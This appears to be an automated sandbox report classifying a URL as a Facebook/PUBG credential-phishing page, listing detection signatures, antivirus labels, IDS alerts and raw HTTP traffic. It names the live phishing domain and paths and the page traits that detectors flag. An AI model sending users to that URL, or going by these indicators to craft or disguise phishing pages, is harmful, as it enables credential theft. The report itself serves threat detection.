Edit tour

Windows Analysis Report
https://ai.toolsxsocial.in/advance-server/K3bKKZbZXX

Overview

General Information

Sample URL:	https://ai.toolsxsocial.in/advance-server/K3bKKZbZXX
Analysis ID:	1621567
Infos:

Detection

HTMLPhisher

Score:	72
Range:	0 - 100
Confidence:	100%

Signatures

AI detected phishing page

Antivirus / Scanner detection for submitted sample

Antivirus detection for URL or domain

Yara detected BlockedWebSite

HTML body contains low number of good links

HTML body contains password input but no form action

HTML title does not match URL

Invalid 'forgot password' link found

Invalid T&C link found

Stores files to the Windows start menu directory

Suricata IDS alerts with low severity for network traffic

Classification

×

Process Tree

System is w10x64

chrome.exe (PID: 2544 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "about:blank" MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 3212 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2468 --field-trial-handle=2432,i,15374466848034372760,4340357497403073754,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8 MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 6736 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" "https://ai.toolsxsocial.in/advance-server/K3bKKZbZXX" MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

cleanup

Malware Configuration

⊘No configs have been found

Yara Signatures

HTML

Source	Rule	Description	Author	Strings
1.0.pages.csv	JoeSecurity_BlockedWebSite	Yara detected BlockedWebSite	Joe Security

Sigma Signatures

⊘No Sigma rule has matched

Suricata Signatures

ET PHISHING Possible Facebook Phishing Landing - Title over non SSL

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-02-22T00:54:53.429942+0100	2024807	2	Possible Social Engineering Attempted	188.114.97.3	443	192.168.2.8	49735	TCP

Joe Sandbox Signatures

• AV Detection
• Phishing
• Networking
• System Summary
• Boot Survival

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: https://ai.toolsxsocial.in/advance-server/K3bKKZbZXX

Avira URL Cloud: detection malicious, Label: phishing

Antivirus detection for URL or domain

Source: https://ai.toolsxsocial.in/cdn-cgi/phish-bypass?atok=4OvvS0_wIssJy60Kee05B1G6_fM7huLaJE3OuCm0hDI-1740182077-0.0.1.1-%2Fadvance-server%2FK3bKKZbZXX	Avira URL Cloud: Label: phishing
Source: https://ai.toolsxsocial.in/cdn-cgi/styles/cf.errors.css	Avira URL Cloud: Label: phishing
Source: https://ai.toolsxsocial.in/data/manifest/	Avira URL Cloud: Label: phishing
Source: https://ai.toolsxsocial.in/favicon.ico	Avira URL Cloud: Label: phishing
Source: https://ai.toolsxsocial.in/cdn-cgi/images/icon-exclamation.png?1376755637	Avira URL Cloud: Label: phishing
Source: https://ai.toolsxsocial.in/encryptedjs_pubg.png	Avira URL Cloud: Label: phishing

Phishing

AI detected phishing page

Source: https://ai.toolsxsocial.in/advance-server/K3bKKZbZXX

Joe Sandbox AI: Score: 7 Reasons: The brand 'Facebook' is well-known and is associated with the domain 'facebook.com'., The URL 'ai.toolsxsocial.in' does not match the legitimate domain 'facebook.com'., The URL contains suspicious elements such as 'toolsxsocial', which is not associated with Facebook., The domain extension '.in' is unusual for Facebook, which typically uses '.com'., The presence of input fields for 'Mobile number or email add' and 'Facebook password' is typical for phishing attempts targeting Facebook users. DOM: 1.1.pages.csv

Yara detected BlockedWebSite

Source: Yara match

File source: 1.0.pages.csv, type: HTML

Source: https://ai.toolsxsocial.in/advance-server/K3bKKZbZXX

HTTP Parser: Number of links: 1

Source: https://ai.toolsxsocial.in/advance-server/K3bKKZbZXX

HTTP Parser: <input type="password" .../> found but no <form action="...

Source: https://ai.toolsxsocial.in/advance-server/K3bKKZbZXX

HTTP Parser: Title: Log in to Facebook | PUBG does not match URL

Source: https://ai.toolsxsocial.in/advance-server/K3bKKZbZXX

HTTP Parser: Invalid link: Forgotten password?

Source: https://ai.toolsxsocial.in/advance-server/K3bKKZbZXX

HTTP Parser: Invalid link: Terms

Source: https://ai.toolsxsocial.in/advance-server/K3bKKZbZXX

HTTP Parser: <input type="password" .../> found

Source: https://ai.toolsxsocial.in/advance-server/K3bKKZbZXX

HTTP Parser: No favicon

Source: https://ai.toolsxsocial.in/advance-server/K3bKKZbZXX

HTTP Parser: No <meta name="author".. found

Source: https://ai.toolsxsocial.in/advance-server/K3bKKZbZXX

HTTP Parser: No <meta name="copyright".. found

Source: Network traffic

Suricata IDS: 2024807 - Severity 2 - ET PHISHING Possible Facebook Phishing Landing - Title over non SSL : 188.114.97.3:443 -> 192.168.2.8:49735

Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.60
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.60
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.60
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.60
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.60
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.60
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.60
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.60
Source: unknown	TCP traffic detected without corresponding DNS query: 23.206.229.226
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.60
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.60
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.60
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.60
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.60
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.60
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.60
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.60
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.60
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.60
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.60
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.60
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.60
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.60
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.60
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.60
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.60
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.60
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.60
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.60
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.60
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.60
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.60
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.60
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.60
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.60
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.60
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.60
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.60
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.60
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.60
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.60
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.60
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.60
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.60
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.60
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.60
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.60
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.60
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.60
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.60

Source: global traffic	HTTP traffic detected: GET /advance-server/K3bKKZbZXX HTTP/1.1Host: ai.toolsxsocial.inConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: noneSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/styles/cf.errors.css HTTP/1.1Host: ai.toolsxsocial.inConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://ai.toolsxsocial.in/advance-server/K3bKKZbZXXAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/images/icon-exclamation.png?1376755637 HTTP/1.1Host: ai.toolsxsocial.inConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ai.toolsxsocial.in/cdn-cgi/styles/cf.errors.cssAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /favicon.ico HTTP/1.1Host: ai.toolsxsocial.inConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ai.toolsxsocial.in/advance-server/K3bKKZbZXXAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/images/icon-exclamation.png?1376755637 HTTP/1.1Host: ai.toolsxsocial.inConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/phish-bypass?atok=4OvvS0_wIssJy60Kee05B1G6_fM7huLaJE3OuCm0hDI-1740182077-0.0.1.1-%2Fadvance-server%2FK3bKKZbZXX HTTP/1.1Host: ai.toolsxsocial.inConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: same-originSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentReferer: https://ai.toolsxsocial.in/advance-server/K3bKKZbZXXAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /advance-server/K3bKKZbZXX HTTP/1.1Host: ai.toolsxsocial.inConnection: keep-aliveUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: same-originSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentsec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Referer: https://ai.toolsxsocial.in/advance-server/K3bKKZbZXXAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: __cf_mw_byp=4OvvS0_wIssJy60Kee05B1G6_fM7huLaJE3OuCm0hDI-1740182077-0.0.1.1-/advance-server/K3bKKZbZXX
Source: global traffic	HTTP traffic detected: GET /rsrc.php/v3/yf/l/0,cross/77Hot7ew_hn.css?_nc_x=Ij3Wp8lg5Kz HTTP/1.1Host: static.xx.fbcdn.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://ai.toolsxsocial.insec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: styleReferer: https://ai.toolsxsocial.in/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /rsrc.php/v3/yT/l/0,cross/ygkXgVf1DoZ.css?_nc_x=Ij3Wp8lg5Kz HTTP/1.1Host: static.xx.fbcdn.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://ai.toolsxsocial.insec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: styleReferer: https://ai.toolsxsocial.in/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /encryptedjs_pubg.png HTTP/1.1Host: ai.toolsxsocial.inConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ai.toolsxsocial.in/advance-server/K3bKKZbZXXAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: __cf_mw_byp=4OvvS0_wIssJy60Kee05B1G6_fM7huLaJE3OuCm0hDI-1740182077-0.0.1.1-/advance-server/K3bKKZbZXX
Source: global traffic	HTTP traffic detected: GET /encryptedjs_pubg.png HTTP/1.1Host: ai.toolsxsocial.inConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: __cf_mw_byp=4OvvS0_wIssJy60Kee05B1G6_fM7huLaJE3OuCm0hDI-1740182077-0.0.1.1-/advance-server/K3bKKZbZXX
Source: global traffic	HTTP traffic detected: GET /rsrc.php/v3/yj/r/gB76kJXPYJV.png HTTP/1.1Host: static.xx.fbcdn.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ai.toolsxsocial.in/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /data/manifest/ HTTP/1.1Host: ai.toolsxsocial.inConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: manifestReferer: https://ai.toolsxsocial.in/advance-server/K3bKKZbZXXAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: __cf_mw_byp=4OvvS0_wIssJy60Kee05B1G6_fM7huLaJE3OuCm0hDI-1740182077-0.0.1.1-/advance-server/K3bKKZbZXX

Source: chromecache_59.2.dr

String found in binary or memory: <meta property="og:image" content="https://www.facebook.com/images/fb_icon_325x325.png" /> equals www.facebook.com (Facebook)

Source: global traffic	DNS traffic detected: DNS query: www.google.com
Source: global traffic	DNS traffic detected: DNS query: ai.toolsxsocial.in
Source: global traffic	DNS traffic detected: DNS query: a.nel.cloudflare.com
Source: global traffic	DNS traffic detected: DNS query: static.xx.fbcdn.net

Source: unknown

HTTP traffic detected: POST /report/v4?s=0ycQxykmIltu9kVjuF0qZl6CnZddx2IhkqNilAXMgFLFowCTtVFfcnKGcolxhGBfzalbx3AVnuUaNsuXxCu7l3nFWSW%2B4BB9RU6IU3obdNayHXnDtzjtC88rkg9B%2F%2BSZGwgB4IM%3D HTTP/1.1Host: a.nel.cloudflare.comConnection: keep-aliveContent-Length: 413Content-Type: application/reports+jsonUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9

Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Fri, 21 Feb 2025 23:54:37 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeX-Frame-Options: SAMEORIGINReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=0ycQxykmIltu9kVjuF0qZl6CnZddx2IhkqNilAXMgFLFowCTtVFfcnKGcolxhGBfzalbx3AVnuUaNsuXxCu7l3nFWSW%2B4BB9RU6IU3obdNayHXnDtzjtC88rkg9B%2F%2BSZGwgB4IM%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 915aa9a15df2422e-EWR
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Fri, 21 Feb 2025 23:54:40 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeVary: Accept-EncodingLast-Modified: Thu, 06 Feb 2025 07:50:09 GMTCache-Control: max-age=14400CF-Cache-Status: EXPIREDReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=j%2FjHd%2Bj%2BPD2qlwAoyVJzXMHtMd14CUUCX2hMYYm6CBB8Gb2huLn1HEak1Xb5jQNOpCZ%2BplpOd8OhIJzntLQYkANmJ9fYtpD%2F5PNvFLD6RJt97T7ivQ%2BFdCrMGV2oPOq2SVzf6Ys%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 915aa9b14f5a42a5-EWRalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=1716&min_rtt=1704&rtt_var=663&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2838&recv_bytes=1195&delivery_rate=1620421&cwnd=233&unsent_bytes=0&cid=c18f2d305d9b69a4&ts=310&x=0"
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundVary: Accept-Encodingx-fatal-request: static.xx.fbcdn.netPragma: no-cacheCache-Control: private, no-cache, no-store, must-revalidateExpires: Sat, 01 Jan 2000 00:00:00 GMTtiming-allow-origin: reporting-endpoints: permissions_policy="https://www.xx.facebook.com/ajax/browser_error_reports/"report-to: {"max_age":21600,"endpoints":[{"url":"https:\/\/www.xx.facebook.com\/ajax\/browser_error_reports\/"}],"group":"permissions_policy"}content-security-policy: default-src data: blob: 'self';script-src .facebook.com .fbcdn.net blob: data: 'self';style-src 'unsafe-inline';connect-src .facebook.com facebook.com .fbcdn.net wss://.facebook.com:* wss://.fbcdn.net attachment.fbsbx.com blob: .cdninstagram.com 'self';img-src data: blob: 'self';block-all-mixed-content;upgrade-insecure-requests;report-uri https://www.xx.facebook.com/csp/reporting/?m=c&minimize=0;require-trusted-types-for 'script';document-policy: force-load-at-toppermissions-policy: accelerometer=(), attribution-reporting=(), autoplay=(), bluetooth=(), camera=(), ch-device-memory=(), ch-downlink=(), ch-dpr=(), ch-ect=(), ch-rtt=(), ch-save-data=(), ch-ua-arch=(), ch-ua-bitness=(), ch-viewport-height=(), ch-viewport-width=(), ch-width=(), clipboard-read=(), clipboard-write=(), compute-pressure=(), display-capture=(), encrypted-media=(), fullscreen=(self), gamepad=(), geolocation=(), gyroscope=(), hid=(), idle-detection=(), interest-cohort=(), keyboard-map=(), local-fonts=(), magnetometer=(), microphone=(), midi=(), otp-credentials=(), payment=(), picture-in-picture=(), private-state-token-issuance=(), publickey-credentials-get=(), screen-wake-lock=(), serial=(), shared-storage=(), shared-storage-select-url=(), private-state-token-redemption=(), usb=(), unload=(self), window-management=(), xr-spatial-tracking=();report-to="permissions_policy"cross-origin-resource-policy: cross-originX-Content-Type-Options: nosniffX-XSS-Protection: 0origin-agent-cluster: ?1
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundVary: Accept-Encodingx-fatal-request: static.xx.fbcdn.netPragma: no-cacheCache-Control: private, no-cache, no-store, must-revalidateExpires: Sat, 01 Jan 2000 00:00:00 GMTtiming-allow-origin: reporting-endpoints: permissions_policy="https://www.xx.facebook.com/ajax/browser_error_reports/"report-to: {"max_age":21600,"endpoints":[{"url":"https:\/\/www.xx.facebook.com\/ajax\/browser_error_reports\/"}],"group":"permissions_policy"}content-security-policy: default-src data: blob: 'self';script-src .facebook.com .fbcdn.net blob: data: 'self';style-src 'unsafe-inline';connect-src .facebook.com facebook.com .fbcdn.net wss://.facebook.com:* wss://.fbcdn.net attachment.fbsbx.com blob: .cdninstagram.com 'self';img-src data: blob: 'self';block-all-mixed-content;upgrade-insecure-requests;report-uri https://www.xx.facebook.com/csp/reporting/?m=c&minimize=0;require-trusted-types-for 'script';document-policy: force-load-at-toppermissions-policy: accelerometer=(), attribution-reporting=(), autoplay=(), bluetooth=(), camera=(), ch-device-memory=(), ch-downlink=(), ch-dpr=(), ch-ect=(), ch-rtt=(), ch-save-data=(), ch-ua-arch=(), ch-ua-bitness=(), ch-viewport-height=(), ch-viewport-width=(), ch-width=(), clipboard-read=(), clipboard-write=(), compute-pressure=(), display-capture=(), encrypted-media=(), fullscreen=(self), gamepad=(), geolocation=(), gyroscope=(), hid=(), idle-detection=(), interest-cohort=(), keyboard-map=(), local-fonts=(), magnetometer=(), microphone=(), midi=(), otp-credentials=(), payment=(), picture-in-picture=(), private-state-token-issuance=(), publickey-credentials-get=(), screen-wake-lock=(), serial=(), shared-storage=(), shared-storage-select-url=(), private-state-token-redemption=(), usb=(), unload=(self), window-management=(), xr-spatial-tracking=();report-to="permissions_policy"cross-origin-resource-policy: cross-originX-Content-Type-Options: nosniffX-XSS-Protection: 0origin-agent-cluster: ?1
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not Foundx-fatal-request: static.xx.fbcdn.netPragma: no-cacheCache-Control: private, no-cache, no-store, must-revalidateExpires: Sat, 01 Jan 2000 00:00:00 GMTtiming-allow-origin: reporting-endpoints: permissions_policy="https://www.xx.facebook.com/ajax/browser_error_reports/"report-to: {"max_age":21600,"endpoints":[{"url":"https:\/\/www.xx.facebook.com\/ajax\/browser_error_reports\/"}],"group":"permissions_policy"}content-security-policy: default-src data: blob: 'self';script-src .facebook.com .fbcdn.net blob: data: 'self';style-src 'unsafe-inline';connect-src .facebook.com facebook.com .fbcdn.net wss://.facebook.com:* wss://.fbcdn.net attachment.fbsbx.com blob: .cdninstagram.com 'self';img-src data: blob: 'self';block-all-mixed-content;upgrade-insecure-requests;report-uri https://www.xx.facebook.com/csp/reporting/?m=c&minimize=0;require-trusted-types-for 'script';document-policy: force-load-at-toppermissions-policy: accelerometer=(), attribution-reporting=(), autoplay=(), bluetooth=(), camera=(), ch-device-memory=(), ch-downlink=(), ch-dpr=(), ch-ect=(), ch-rtt=(), ch-save-data=(), ch-ua-arch=(), ch-ua-bitness=(), ch-viewport-height=(), ch-viewport-width=(), ch-width=(), clipboard-read=(), clipboard-write=(), compute-pressure=(), display-capture=(), encrypted-media=(), fullscreen=(self), gamepad=(), geolocation=(), gyroscope=(), hid=(), idle-detection=(), interest-cohort=(), keyboard-map=(), local-fonts=(), magnetometer=(), microphone=(), midi=(), otp-credentials=(), payment=(), picture-in-picture=(), private-state-token-issuance=(), publickey-credentials-get=(), screen-wake-lock=(), serial=(), shared-storage=(), shared-storage-select-url=(), private-state-token-redemption=(), usb=(), unload=(self), window-management=(), xr-spatial-tracking=();report-to="permissions_policy"cross-origin-resource-policy: cross-originX-Content-Type-Options: nosniffX-XSS-Protection: 0origin-agent-cluster: ?1Content-Type: text/html; charset="utf-8"
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Fri, 21 Feb 2025 23:54:56 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeVary: Accept-EncodingLast-Modified: Thu, 06 Feb 2025 07:50:09 GMTcf-cache-status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=r%2BJ%2FYZdBP29dSiMAszfA0wOM88s3%2BuxyEDuMhc3gRBYA%2FZ%2BRVxA%2FxxOE%2BT6XQ5PdiQ6QeAHCtliq2JdpNmyuzgOJzAIskSU0Sw9Vcfg%2FEIKtz3%2FS6D9yrL9ed%2FwfjoSJe%2FMczBE%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 915aaa16f8df729e-EWRalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=2909&min_rtt=1819&rtt_var=1461&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2839&recv_bytes=1248&delivery_rate=1605277&cwnd=189&unsent_bytes=0&cid=8574ce72c9a848a1&ts=298&x=0"

Source: chromecache_59.2.dr	String found in binary or memory: https://ai.toolsxsocial.in/encryptedjs_pubg.png
Source: chromecache_59.2.dr	String found in binary or memory: https://static.xx.fbcdn.net/rsrc.php/v3/yT/l/0
Source: chromecache_59.2.dr	String found in binary or memory: https://static.xx.fbcdn.net/rsrc.php/v3/yf/l/0
Source: chromecache_59.2.dr	String found in binary or memory: https://static.xx.fbcdn.net/rsrc.php/v3/yj/r/gB76kJXPYJV.png

Source: unknown	Network traffic detected: HTTP traffic on port 49733 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49744
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49743
Source: unknown	Network traffic detected: HTTP traffic on port 49672 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49741
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49740
Source: unknown	Network traffic detected: HTTP traffic on port 49676 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49727 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49704 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49743 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49720 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49739
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49738
Source: unknown	Network traffic detected: HTTP traffic on port 49717 -> 443
